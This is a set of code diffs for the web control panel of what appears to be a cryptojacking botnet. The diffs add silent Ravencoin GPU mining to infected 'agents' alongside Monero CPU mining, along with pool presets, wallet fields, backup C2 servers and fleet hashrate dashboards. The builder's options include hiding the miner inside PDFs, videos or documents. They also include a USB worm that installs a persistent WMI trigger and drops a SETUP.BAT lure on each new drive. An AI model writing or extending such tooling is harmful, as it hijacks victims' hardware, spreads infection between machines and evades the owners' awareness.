const map = new Map<string, typeof RVN_POOL_PRESETS>();
for (const p of RVN_POOL_PRESETS) {
const list = map.get(p.provider) ?? [];
list.push(p);
map.set(p.provider, list);
}
return [...map.entries()];
}, []);
return (
<div className="pool-preset-picker rvn-pool-picker">
<p className="form-hint pool-preset-hint">
Select one or more Ravencoin (KawPoW) pools. Failover order applies primary is tried first.
</p>
<div className="pool-preset-grid">
{grouped.map(([provider, presets]) => (
<div key={provider} className="pool-preset-group">
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
{provider}
</span>
{presets.map((p) => (
<label key={p.id} className="pool-preset-option checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={selectedIds.includes(p.id)}
onChange={() => togglePreset(p.id)}
/>
<span>
<code>{p.host}:{p.port}</code>
{p.tls ? ' TLS' : ''}
<span className="pool-preset-sub"> ({p.hint})</span>
</span>
</label>
))}
</div>
))}
</div>
<div className="pool-preset-custom">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={useCustom}
onChange={(e) => {
const on = e.target.checked;
setUseCustom(on);
applySelection(selectedIds, on, customHost, customPort, customTls);
}}
/>
<span>Add custom pool</span>
</label>
{useCustom && (
<div className="pool-preset-custom-fields form-row">
<input
type="text"
className="input mono"
placeholder="pool.example.com"
value={customHost}
onChange={(e) => {
setCustomHost(e.target.value);
applySelection(selectedIds, true, e.target.value, customPort, customTls);
}}
/>
<input
type="number"
className="input"
min={1}
max={65535}
value={customPort}
onChange={(e) => {
const v = e.target.valueAsNumber || 6060;
setCustomPort(v);
applySelection(selectedIds, true, customHost, v, customTls);
}}
/>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={customTls}
onChange={(e) => {
setCustomTls(e.target.checked);
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
}}
/>
<span>TLS</span>
</label>
</div>
)}
</div>
{orderedPreview.length > 0 && (
<div className="pool-preset-order">
<span className="font-tech">Failover order</span>
<ol>
{orderedPreview.map((p, i) => (
<li key={`${p.host}:${p.port}:${p.tls}`}>
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
{p.tls ? ' (TLS)' : ''}
</li>
))}
</ol>
</div>
)}
</div>
);
}

View File

@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
});
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
});
it('disables recon buttons when agent offline', async () => {

View File

@@ -144,6 +144,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),

View File

@@ -80,6 +80,114 @@ export const XMR_POOL_PRESETS: PoolPreset[] = [
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
// ─── Ravencoin (RVN / KawPoW) pool presets ───────────────────────────────────
export interface RVNPoolPreset {
id: string;
provider: string;
host: string;
port: number;
tls: boolean;
hint: string;
}
export const RVN_POOL_PRESETS: RVNPoolPreset[] = [
{
id: '2miners-rvn',
provider: '2Miners',
host: 'rvn.2miners.com',
port: 6060,
tls: false,
hint: ':6060',
},
{
id: 'herominers-rvn',
provider: 'HeroMiners',
host: 'rvn.herominers.com',
port: 1140,
tls: false,
hint: ':1140',
},
{
id: 'minerpool-rvn',
provider: 'MinePool',
host: 'us.rvn.minepool.io',
port: 3333,
tls: false,
hint: ':3333',
},
{
id: 'woolypooly-rvn',
provider: 'WoolyPooly',
host: 'rvn.woolypooly.com',
port: 55555,
tls: false,
hint: ':55555',
},
{
id: 'ravenminer',
provider: 'RavenMiner',
host: 'us.ravenminer.com',
port: 3838,
tls: false,
hint: ':3838',
},
{
id: 'nanopool-rvn',
provider: 'Nanopool',
host: 'rvn-us-west1.nanopool.org',
port: 12222,
tls: false,
hint: ':12222',
},
];
export const DEFAULT_RVN_PRESET_IDS = ['2miners-rvn', 'herominers-rvn', 'ravenminer'] as const;
export interface RVNPoolForgeFields {
rvn_pool_host: string;
rvn_pool_port: number;
rvn_pool_tls: boolean;
rvn_backup_pools: BackupPool[];
}
export function orderedRVNPoolsFromSelection(
presetIds: string[],
pass: string,
custom?: BackupPool | null,
): BackupPool[] {
const out: BackupPool[] = [];
const seen = new Set<string>();
for (const id of presetIds) {
const preset = RVN_POOL_PRESETS.find((p) => p.id === id);
if (!preset) continue;
const key = endpointKey(preset.host, preset.port, preset.tls);
if (seen.has(key)) continue;
seen.add(key);
out.push({ host: preset.host, port: preset.port, tls: preset.tls, pass });
}
if (custom?.host?.trim() && custom.port > 0) {
const key = endpointKey(custom.host, custom.port, !!custom.tls);
if (!seen.has(key)) out.push({ ...custom, pass: custom.pass || pass || 'x' });
}
return out;
}
export function applyRVNPoolsToForgeFields(pools: BackupPool[]): RVNPoolForgeFields {
const { primary, backups } = splitPrimaryAndBackups(pools);
if (!primary) return { rvn_pool_host: '', rvn_pool_port: 6060, rvn_pool_tls: false, rvn_backup_pools: [] };
return { rvn_pool_host: primary.host, rvn_pool_port: primary.port, rvn_pool_tls: primary.tls, rvn_backup_pools: backups };
}
export function detectRVNPresetIds(host: string, port: number, tls: boolean, backups: BackupPool[] = []): string[] {
const keys = new Set<string>();
keys.add(endpointKey(host, port, tls));
for (const b of backups) {
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
}
return RVN_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
}
function endpointKey(host: string, port: number, tls: boolean): string {
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
}

View File

@@ -9,7 +9,8 @@ export function sanitizeScreenshotBase64(raw: string): string {
}
}
if (best.length >= 100) return best;
return trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
const fallback = trimmed.replace(/[^A-Za-z0-9+/=]/g, '');
return fallback.length >= 100 ? fallback : '';
}
export function downloadScreenshotFromBase64(

View File

@@ -213,6 +213,12 @@ export default function AgentsPage() {
} catch (err) {
console.error(err);
}
// Auto-fetch sysinfo so the terminal is pre-populated immediately
if (agent.status === 'online') {
setTimeout(() => {
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
}, 300);
}
};
const saveMeta = async () => {
@@ -606,6 +612,7 @@ export default function AgentsPage() {
agent={selectedAgent}
online={selectedAgent.status === 'online'}
commandResults={commandResults}
showLiveStats
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}

View File

@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
renderBuilder();
expect(
await screen.findByText('Failed to load server info — is the control server running?')
await screen.findByText('Failed to load server config — is the control server running?')
).toBeInTheDocument();
});
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
expect(screen.getByText('Pool Host')).toBeInTheDocument();
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
});
it('submits forge when preflight passes', async () => {
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
screen.getByRole('button', { name: /Hide miner in any file/i })
);
expect(
screen.getByText(/Fusion selected — drop your files below and forge/i)
screen.getByText(/Drop any file — PDF, video, document/i)
).toBeInTheDocument();
});
});

View File

@@ -30,6 +30,7 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -1133,6 +1134,73 @@ export default function BuilderPage() {
</div>
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
description="Enable KawPoW GPU mining alongside Monero CPU mining. The agent auto-detects NVIDIA (T-Rex) or AMD (TeamRedMiner) and downloads the correct miner."
/>
<div className="form-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={!!form.gpu_enabled}
onChange={(e) => updateField('gpu_enabled', e.target.checked)}
/>
<span style={{ fontWeight: 600 }}>Enable GPU mining (Ravencoin)</span>
</label>
<p className="form-hint">
When enabled the agent detects GPU vendor, downloads the correct KawPoW miner, and runs it silently alongside the CPU Monero miner. Requires a discrete NVIDIA or AMD GPU on the target.
</p>
</div>
{form.gpu_enabled && (
<>
<div className="form-group">
<label className="label">Ravencoin Wallet Address <span className="badge-required">required</span></label>
<input
type="text"
className="input mono"
placeholder="R... (your RVN address)"
value={form.rvn_wallet ?? ''}
onChange={(e) => updateField('rvn_wallet', e.target.value)}
/>
<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
</div>
<div className="form-group">
<label className="label">Ravencoin Pools</label>
<RVNPoolPresetPicker
host={form.rvn_pool_host ?? ''}
port={form.rvn_pool_port ?? 6060}
tls={form.rvn_pool_tls ?? false}
pass={form.rvn_pool_pass ?? 'x'}
backups={form.rvn_backup_pools ?? []}
onChange={(next) => {
updateField('rvn_pool_host', next.rvn_pool_host);
updateField('rvn_pool_port', next.rvn_pool_port);
updateField('rvn_pool_tls', next.rvn_pool_tls);
updateField('rvn_backup_pools', next.rvn_backup_pools);
}}
/>
</div>
<div className="form-group">
<label className="label">RVN Pool Password</label>
<input
type="text"
className="input"
placeholder="x"
value={form.rvn_pool_pass ?? 'x'}
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
/>
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
</div>
</>
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
</label>
{form.usb_spread && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
Perpetual chain agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
</div>
)}
<FieldHint field="usb_spread" />

View File

@@ -47,6 +47,16 @@ import {
osArchBreakdown,
} from '../help/fleetAnalytics';
import './Pages.css';
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
function formatGPUHashrate(hps: number): string {
if (!hps || hps <= 0) return '0 H/s';
if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
return `${hps.toFixed(0)} H/s`;
}
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
@@ -117,6 +127,29 @@ export default function DashboardPage() {
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
// ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
const gpuAgents = useMemo(
() => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
[agents]
);
const totalGPUHashrate = useMemo(
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
[gpuAgents]
);
const gpuHashrate15s = useMemo(
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
[gpuAgents]
);
const bestGPUAgent = useMemo(
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
[gpuAgents]
);
const gpuModels = useMemo(
() => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
[gpuAgents]
);
const hasGPUMining = gpuAgents.length > 0;
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
@@ -455,6 +488,139 @@ export default function DashboardPage() {
</NeonCard>
</div>
{/* ═══════════════════════════════════════════════════════════════════
MONERO SUBHEADING — clarify the section above belongs to XMR
═══════════════════════════════════════════════════════════════════ */}
<div className="mining-coin-label monero-label">
<span className="coin-badge xmr-badge">XMR</span>
<span className="coin-name font-tech">MONERO</span>
<span className="coin-algo font-tech">· RandomX CPU ·</span>
<span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
</div>
{/* ═══════════════════════════════════════════════════════════════════
RAVENCOIN GPU SECTION
═══════════════════════════════════════════════════════════════════ */}
{hasGPUMining && (
<div className="rvn-section">
<div className="mining-coin-label rvn-label">
<span className="coin-badge rvn-badge">RVN</span>
<span className="coin-name font-tech">RAVENCOIN</span>
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
<span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
</div>
{/* Gauge row */}
<section className="gauge-row rvn-gauges">
<NeonCard accent="gold" className="gauge-card" hud>
<GaugeRing
value={totalGPUHashrate}
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
label="GPU Hash"
sublabel="15m avg"
color="var(--neon-gold)"
size={110}
/>
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing
value={gpuHashrate15s}
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
label="GPU Live"
sublabel="15s sample"
color="var(--neon-amber)"
size={110}
/>
</NeonCard>
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={gpuAgents.length}
max={Math.max(agents.length, 1)}
label="GPU Rigs"
sublabel={`of ${agents.length} nodes`}
color="var(--neon-cyan)"
size={110}
/>
</NeonCard>
</section>
{/* Stats cards */}
<div className="grid-4 stats-grid rvn-stats-grid">
<NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Fleet Hash</div>
<div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
<div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">Top GPU Rig</div>
{bestGPUAgent ? (
<>
<div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
{(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
</div>
<div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
</>
) : (
<><div className="stat-value stat-dim"></div><div className="stat-sub">none active</div></>
)}
</NeonCard>
<NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Models</div>
<div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
{gpuModels.length > 0 ? (
gpuModels.slice(0, 2).map((m) => (
<div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
))
) : (
<span className="stat-dim"></span>
)}
</div>
<div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Live Rate</div>
<div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
<div className="stat-sub">15-second snapshot</div>
</NeonCard>
</div>
{/* Per-rig GPU breakdown */}
{gpuAgents.length > 0 && (
<NeonCard accent="gold" className="rvn-rig-table-card" hud>
<div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
<div className="rvn-rig-table">
{gpuAgents.map((a) => {
const hr = a.gpu_hashrate_15m ?? 0;
const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
return (
<div key={a.id} className="rvn-rig-row">
<span className="rvn-rig-name font-tech">{a.name}</span>
<span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
<span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
<div className="rvn-rig-bar-wrap">
<div
className="rvn-rig-bar"
style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
/>
</div>
<span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
{(a.gpu_temp_c ?? 0) > 0 && (
<span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
{a.gpu_temp_c}°C
</span>
)}
</div>
);
})}
</div>
</NeonCard>
)}
</div>
)}
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />

View File

@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
font-size: 0.78rem;
padding: 0.28rem 0.7rem;
}
/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
.mining-coin-label {
display: flex;
align-items: center;
gap: 0.65rem;
margin: 1.5rem 0 0.75rem;
padding: 0.5rem 1rem;
border-radius: 6px;
background: rgba(0,0,0,0.3);
border-left: 3px solid var(--neon-cyan);
}
.monero-label {
border-left-color: var(--neon-cyan);
}
.rvn-label {
border-left-color: #f5a623;
}
.coin-badge {
font-family: var(--font-tech);
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
border-radius: 4px;
font-weight: 700;
letter-spacing: 0.1em;
}
.xmr-badge {
background: rgba(0, 255, 255, 0.15);
color: var(--neon-cyan);
border: 1px solid var(--neon-cyan);
}
.rvn-badge {
background: rgba(245, 166, 35, 0.15);
color: #f5a623;
border: 1px solid #f5a623;
}
.coin-name {
font-size: 0.9rem;
font-weight: 700;
letter-spacing: 0.15em;
color: #e0e0e0;
}
.coin-algo {
font-size: 0.75rem;
color: var(--text-muted);
letter-spacing: 0.05em;
}
.coin-hr {
margin-left: auto;
font-size: 1rem;
font-weight: 700;
color: var(--neon-cyan);
}
.rvn-label .coin-hr {
color: #f5a623;
}
/* ─── RVN Section ────────────────────────────────────────────────────────── */
.rvn-section {
margin-top: 0.5rem;
padding-top: 0.5rem;
border-top: 1px solid rgba(245, 166, 35, 0.2);
}
.rvn-hashrate {
color: #f5a623 !important;
text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
}
.rvn-gauges {
grid-template-columns: repeat(3, 1fr);
}
.rvn-stats-grid .rvn-stat-card {
background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
border: 1px solid rgba(245, 166, 35, 0.2);
text-align: center;
padding: 1.25rem !important;
position: relative;
overflow: hidden;
}
.rvn-stats-grid .rvn-stat-card::before {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
pointer-events: none;
}
.rvn-stats-grid .stat-label {
color: rgba(245, 166, 35, 0.7);
letter-spacing: 0.15em;
}
.neon-glow-gold {
color: #f5a623;
text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
}
/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
.rvn-rig-table-card {
padding: 1.25rem !important;
background: rgba(245,166,35,0.03);
border: 1px solid rgba(245,166,35,0.15) !important;
}
.rvn-rig-table {
display: flex;
flex-direction: column;
gap: 0.6rem;
}
.rvn-rig-row {
display: grid;
grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
align-items: center;
gap: 0.5rem;
padding: 0.4rem 0.6rem;
border-radius: 4px;
background: rgba(0,0,0,0.25);
border-left: 2px solid rgba(245,166,35,0.35);
font-size: 0.82rem;
transition: background 0.15s;
}
.rvn-rig-row:hover {
background: rgba(245,166,35,0.07);
}
.rvn-rig-name {
font-size: 0.78rem;
color: #c0c0c0;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.rvn-rig-model {
color: var(--text-muted);
font-size: 0.72rem;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.rvn-rig-hr {
font-family: var(--font-tech);
font-size: 0.8rem;
font-weight: 600;
text-align: right;
}
.rvn-rig-bar-wrap {
height: 6px;
background: rgba(255,255,255,0.08);
border-radius: 3px;
overflow: hidden;
}
.rvn-rig-bar {
height: 100%;
background: linear-gradient(90deg, #f5a623, #ffcc55);
border-radius: 3px;
box-shadow: 0 0 6px rgba(245,166,35,0.5);
transition: width 0.6s ease;
}
.rvn-rig-pct {
font-family: var(--font-tech);
font-size: 0.7rem;
color: var(--text-muted);
text-align: right;
}
.rvn-rig-temp {
font-family: var(--font-tech);
font-size: 0.72rem;
color: var(--neon-cyan);
text-align: right;
}
.rvn-rig-temp.temp-hot {
color: var(--neon-amber);
text-shadow: 0 0 6px rgba(255,165,0,0.5);
}
/* RVN GPU section in the Forge */
.rvn-pool-picker .pool-preset-provider {
color: #f5a623 !important;
}
@media (max-width: 700px) {
.rvn-gauges {
grid-template-columns: repeat(2, 1fr);
}
.rvn-rig-row {
grid-template-columns: 1fr 80px 1fr 42px;
}
.rvn-rig-model,
.rvn-rig-pct { display: none; }
}

View File

@@ -53,6 +53,13 @@ export interface Agent {
gpu_temp_c?: number;
gpu_usage_pct?: number;
// GPU / Ravencoin mining
gpu_miner_active?: boolean;
gpu_hashrate_15s?: number;
gpu_hashrate_1m?: number;
gpu_hashrate_15m?: number;
gpu_model?: string;
ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;
@@ -69,6 +76,7 @@ export interface Agent {
services?: AgentService[];
hostname?: string;
mac_address?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
@@ -367,6 +375,14 @@ export interface BuildRequest {
backup_pools?: BackupPool[];
// Backup C2 server URLs tried if the primary server_url is unreachable.
backup_server_urls?: string[];
// GPU / Ravencoin mining
gpu_enabled?: boolean;
rvn_wallet?: string;
rvn_pool_host?: string;
rvn_pool_port?: number;
rvn_pool_tls?: boolean;
rvn_pool_pass?: string;
rvn_backup_pools?: BackupPool[];
}
/** Fallback Stratum pool baked into the agent at forge time. */

View File

@@ -39,6 +39,11 @@ export interface WSStatsUpdate {
disk_free_pct?: number;
gpu_temp_c?: number;
gpu_usage_pct?: number;
gpu_miner_active?: boolean;
gpu_hashrate_15s?: number;
gpu_hashrate_1m?: number;
gpu_hashrate_15m?: number;
gpu_model?: string;
ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;